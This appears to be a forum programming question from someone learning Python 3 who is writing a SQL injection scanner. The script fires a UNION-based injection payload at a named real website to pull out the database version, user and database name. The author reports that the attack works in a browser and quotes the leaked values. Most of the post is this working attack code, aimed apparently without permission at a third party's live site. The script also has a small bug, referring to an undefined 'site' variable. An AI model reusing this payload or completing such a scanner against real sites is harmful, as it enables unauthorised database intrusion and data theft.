I'm using python 3.3.0 in Windows 8. Below code successfully runs in python 2.7.x
import re, urllib
import urllib.request
arg_end = "--"
url = "http://www.johandemeij.com/post.php?id=276+AND+1=2+UNION+SELECT+1,2,p0w3R,4,p0w3R,p0w3R,7,8,p0w3R,p0w3R--"
url = site.replace("p0w3R","concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)")+arg_end
requrl = urllib.request.Request(url)
response = urllib.request.urlopen(requrl)
source = response.read()
match = re.findall("\x1e\x1e\S+", str(source))
print("match>>>", match)
In this script, I'm getting no value in match variable! And when I'm using this:
match = re.findall("\x1e\x1e\S+", source)
It gives me error like:
TypeError: can't use a string pattern on a bytes-like object
In-fact, when I'm injecting url in the browser, I'm getting result like below in particular vulnerable column.
5.1.61-0+squeeze1johan@localhostjohan_db
So, what's wrong with that re or what should I change and where? When I tried to read about \x in re module of python docs, I found nothing! or may be, I failed to get it. I appeal you to suggest me something with an example regarding this, if it's available in easy way to understand.
One more thing when I tried to convert 1e into string it gave nothing!
I have just started to learn python 3 and instead of writing simple programs, I really want to create some useful scripts. So, I'm trying to get my hands dirty in making simple SQLi scanner in python 3. I got inspiration from darkMySQLi tool.